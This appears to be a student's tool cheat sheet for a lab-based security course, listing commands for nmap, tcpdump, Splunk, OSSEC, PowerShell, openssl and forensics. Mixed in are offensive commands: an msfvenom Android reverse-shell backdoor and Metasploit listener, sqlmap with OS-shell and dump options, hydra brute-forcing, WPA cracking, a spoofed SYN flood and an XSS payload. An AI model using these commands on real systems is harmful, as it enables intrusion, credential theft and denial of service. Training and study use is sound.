cli name	purpose										
macof	mac flooding	-i : interface	-n : number of packets sent								
sqlmap	sql injection	-u "xxx" : target URL	--cookie="[cookie vlaue that you copied in Step 8]" --dbs	--dbs : enumerates DBMS databases	-D : DBMS database ; write name of DB found using --dbs	--tables : enumerates DBMS database tables	-T : table name	--dump : grab all data from table	--os-shell : prompt for interactive OS-shell		
adduser	basic	--gecos "" new_user : modify the GECOS field of the new user's entry in the /etc/passwd file									
john	johntheripper ; password cracking	--wordlist=path/to/wordlist	target-file	--show target-file > results.txt							
aircrack-ng	-a2 : tech used to crack handshake, 2=WPA tech	-b : target BSSID (basic service set identifier: MAC of AP used to connect to the WiFi)	-w path/to/passwordlist	/path/to/caputres/WPA2crack-01.cap'							
service [ ] start	postgresql	apache2									
msfvenom	payload generation and encoding	-p path/to/payload/reverse_tcp: payload to use	--platform android : specify target platform	-a dalvik : architecutre, dalvik - android APK	LPORT=xxx : local port on attacker's machine that reverse connection	\> Desktop/Backdoor.apk : redirect output of genrated payload to file					
chmod	change mode	-R 755 : file/directory owner, group, others - permission	-R: apply command recursively, all subdirectories								
msfconsole	metasploit: write, test, execute code	use exploit/multi/handler	set payload android/meterpreter/reverse_tcp	LHOST 10.10.1.13	show options : tells listneing on port	exploit -j -z :run as background job					
meterpreter	metasploit payload that provides an interactive she	sessions -i 1 : 1 specify number of session	sysinfo	ipconfig	pwd : view current working directory on remote machine	ps : view processes running					
aws	configure	s3 ls s3://[Bucket Name]	s3 mv hack.txt s3//certifiedhacker	s3 rm s3://certifiedhacker/hack.txt							
whoami	powershell	/user : display details - Security ID (SID), User identifier (UID)									
get-aduser	powershell	-identity : administrator	-properties* : display user account info								
get-adcomputer	powershell - run as admin	-filter* | out-file C:\useraccounts.txt : detailed report of all computer objects in the domain									
gpresult	powershell	/H C:\passwords-policy-settings.html : report of pw policy settings									
useradd	powershell										
groupadd	powershell										
usermod	powershell	-aG group_name user_name : adds user to group									
touch	powershell	/path/to/file : creates file									
ls	powershell	-ld directory_name : view permissions of directory									
chmod	powershell	-R user_name:group_name path/to/directory : change directory ownership recursively	u = rwx : r read conent, w write to, x execute or recurse, re	g = rwx : same, regarding groups							
gpupdate	powershell	/force : update group policy settings									
tasklist	powershell	/SVC /FI "STATUS eq RUNNING" > C:\running_processes.txt									
get-acl	powershell	C:\path\to\file.txt | format-list | out-file C:\output.txt									
Write-Host	powershell	"$env:UserName" : shows user nmae	"$today" : output today's date								
Get-Executionpolicy	powershell										
Set-ExecutionPolicy	powershell	-ExecutionPolicy AllSigned	-Scope Local Machine								
Get-AuthenticationcodeSignature	powershell	-C:\Path\to\file.ps1 : view status of cert									
New-SelfSignedCertificate	powershell	-DnsName administrator@cct.com	-CertStoreLocation Cert:\CurrentUser\My\	-Type Codesigning							
certmgr.msc	powershell	open certificate manager									
Disable-PSRemoting	powershell, cmdlet used to disable PowerShell ren	-Force									
Get-PSSessionConfiguration	powershell, cmdlet retrieves the configuration data	| Format-Table -Property Name, Permission									
id user_name	cli, display user and group information for the specified user account										
iptables	standard firewall in linux	-L: list existing rules	-A OUTPUT : fitler outgoing packets	-o eth0 : option, network interface	-m owner : module	--uid-owner xxxx : get uid from cli ~ id user_name	-j DROP : DROP target for packets that match the rule				
/var/ossec/bin/	open source, host IDS	manage_agents : managing OSSEC agents	ossec-control restart	agent_control -l : list available agents							
hydra	brute-force	-L 'wrd.txt' : specifies word list to be used for usernames	-P 'pwd.txt' : specifies password list to use	ftp://10.10.1.16 : specifies target IP							
alert tcp any 21 -> any any (msg:"E	Splunk UniversalForwarder detect and alert on pot	alert for TCP traffic on port 21	detect presence of 530 at startk of packet, at delpth 4 bytes								
[monitor://C:\inetpub\logs\logfiles] sourcetype=iis ignoreOlderThan =14d host = WebServer	Splunk UniversalForwarder - inputs.conf	monitor input	sourcetype: label to determine how format								
[iis*] Pulldown_type=true MAXTIMESTAMPLOOKAHEAD =3 SHOULD_LINEMERGE = False CHECK_FOR_HEADER REPORT – iis2 =iis2	Splunk UniversalForwarder - outputs.conf										
[iis*] Pulldown_type=true MAXTIMESTAMPLOOKAHEAD =3 SHOULD_LINEMERGE =False CHECK_FOR_HEADER REPORT -iis2 =iis2	Splunk UniversalForwarder - props.conf										
[default] host -WebServer [ignore_comments] REGEX = ^#.* DEST_KEY =queue FORMAT =nullQueue [iis2] DELIMS =" " FIELDS = date time s-ip cs-methoc	Splunk UniversalForwarder - transforms.conf										
suricata.exe	capturing network traffi	-c suricata.yaml	-i 10.10.1.16								
Test<script>alert("hackerlee")</scri	XSS cross site scripting attack on web on burp suite, after intercept packet -> send to repeater										
curl		-I : To fetch only HTTP-header									
nc	reads and writes data across network connections	–vv : adv verbose mode									
wget	gather HTTP header response.	-q: To turn off wget output	-S: To print HTTP headers								
nmap		-sV : retreieveall service versions active	-sS : stealth scan (using SYN packets) to identify open por	-sT : TCP connect scan							
openssl	cert manager	genrsa : specify gen key with RSA	-out cct.com.key.pem	3072 : key size							
		rsa	-in cct.com.key.pem : in specifies private key	-pubout : export PubKey	-out cct.com.public-key.pem : specify location to output cert file						
		req : specify create / process cert requests	-new : gen new cert								
			-x509	-key cct.com.key.pem	-out cct.com.cert.pem : output to here	-days 360 : days validity					
		pkcs12 : format understood by Windows (.pkcs, .p12, .p7b, .pfx)	-export	-inkey : privkey	-in : specify exporting cert	-out : specify output location					
cipher	in-built windows tool - delete data by overwrite	/e "C:\Users\Admin\path\to\file.txt" : specify encryption file or directory									
		/w:C:\Users\Admin\path\to\file.txt : directory command to clean up the disk after conversion is complete.									
diskpart	launch CLI in Windows manage drives, partitions, a	select disk 1	clean : cleans data								
		create partition primary	select partition 1	active							
		format	FS=NTFS	label=Data Quick : format partition & set drive label							
nslookup	Windows, network administration CLI to query DNS	set type =a www.sitey.com : query for IP address of domain									
		set type=cname sitey.com : CNAME look done directly against domain's authoritative name server & lists CNAME records for domain									
tracert	windows, network tracerouting = identify path and h	www.sitey.com --> find x number of hops									
		/? : show different options for command									
		-h 5 www.sitey.com : perf trace with max 5 hops									
arp	Windows, cli tool to troubleshoot ARP cache addres	-a : view current arp table									
pathping	Windows, info about path characteristic using ping	-n www.sitey.com									
netstat	Windows, display incoming and outgoing TCP/IP tr	-e : displays ethernet statistics (bytes, packets sent and received)									
traceroute	linux	www.sitey.com -->show hops									
dig	domain info groper, used by network admin to trou	www.sitey.com --> retrieve all info abou target host addresses, ns, mail exchanges, ..									
		@name_server.com target_domain.com axfr : retrieves zone info									
nmap	security scanner, discover hosts, ports, and service	-sn :disables port scan	-PR : ARP ping scan								
		-sn :disables port scan	-PU target_IP_addr_range : UDP scan								
		-sn :disables port scan	-PE : ICMP ECHO ping scan - send ICMP echo requests to host								
		-sT : TCP connect/full open scan	-v : verbose	target IP address							
		-sV : service versions									

		-A target_subnet (10.10.1.*) : enables aggressive scan				
	ICMP timestmap ping scan	-sn -PP target_IP				
	ICMP address mask ping scan	-sn -PM target_IP				
	TCP SYN Ping Scan : empty TCP SYN packets ->	-sn -PS				
	TCP ACK Ping Scan : send empty ACK to target --:	nmap -sn -PA target_IP				
	IP protocol ping scan : send diff probe packets of d	-sn -PO target_IP				
	IDLE/IPID Header Scan : TCP port scan used to se	-sI -v target_ip				
	SCTP INIT Scan : INIT chunk sent to host -> INIT +	-sY -v target_IP				
	SCTP COOKIE ECHO scan : COOKIE ECHO chur	-sZ -v				
		--top-port 20 : list top 20 ports				
hping3	dos; craft/send tcp/ip packets	-S : target IP / sets SYN flag	-a : Spoofable IP	-p : port	--flood: send huge number packets	-d : packet size ; set to 65,638 for ping of death
		-A [target_IP]: setting ACK flag	-p port_number	-c 5 : packet count		
		-8 : scan mode	-p : range of ports to be scanned	-V : verbose		
	sends ICMP echo request to target	-1 : ICMP mode	-c 5 : packet count			
		--scan 0-100 : range of port to scan	-S : set SYN flag			
	TCP stealth scan: TCP packets sent to target host	--scan 0-100 -S : SYN flag				
	ACK scan	-A [target_IP] -p 80				
	UDP scan	-2 [target_IP] -p 80 -c 5				
	collect initial sequence number	[target_IP] -Q -p 139 -s				
	entire subnet scan for live host	-1 [target_IP] --rand-dest -I eth0				
	scan entire subnet for live host	-1 [target_IP] --rand-dest -I eth0				
	SYN flood victim	-S [spoofed IP address] -a [Target IP] -p 22 --flood				
	SYN scan - 3 flags : syn, ack, rst	-8 0-100 -S [target_IP] : 8 indicates scan mode				
	ICMP scanning/ PING sweep : send icmp request t	-1 [target_IP] -c 5 : ICMP mode				
service	ssh start					
	ssh status					
PuTTY	terminal emulator for ssh, telnet, rlogin, serial, for Windows					
ifconfig	view IP details of remote machine					
wireshark		tcp.port==xxxx				
		ip.src==10.10.xx.xx&&ip.dest==10.10.x.x				
	test.pcap : opens captured packets from tcpdump					
	symbol == is equal to					
	symbol != not equal to					
	symbol > greater than	ip.dst > 10.10.1.16				
	symbol >= greater than					
	symbol <= less than					
tcpdump		-vv: verbose	dst 10.10.1.xx and port www	-w test.pcap : write to		
		-vv dst 10.10.1.xx and port ssh -w test2.pcap				
		-i eth0 : capture network packets from machine's specific interface				
		-i eth0 tcp : capture only tcp packets				
		-i eth0 port 80 : capture from specific port on machine interface				
		-i eth0 src 10.10.1.16 : capture packets from source on machine interface				
dd	generates TCp packets of 1MB --> send to dest	if=/dev/urandom bs=1M count=1 | nc 10.10.1.50 9000				
ip		a : shows network configuration info				
		route show : shows default gateways				
netdiscover	scan local network / discover other hosts present ir	-i eth0	-r 10.10.1.0/24			
ipconfig	Windows, details of network config					
pathping	check path/connection	[IP_Address]				
cd /var/log	view linux event logs					
w	display time for which machine is up					
last -a	view last login sesisons					
sudo aureport	details of all login attempts made to system					
./buck-security	collection of security tools - idenitfy security status of system					
./PsLoggedon64.exe	Windows application run					
net sessions	list all connected sessions on host machine					
net file	path of shared folder from local machine - displays user accounts					
avml	x86_64 volatile memory acquisition tool	chmod 755 avml				
		./avml memorydump.dmp				
uname -a	display details of OS, system node, etc					
volatility-master	python framework	python vol.py --info | more :display all profiles in directory				
		-f ../memorydump.dmp --profile=Linuxparrot64 linux_psllst |more				
		-f ../memorydump.dmp --profile=Linuxparrot64 linux_netstat | more : display network info				
		-f ../memorydump.dmp --profile=Linuxparrotx64 linux_bash | more : terminal history				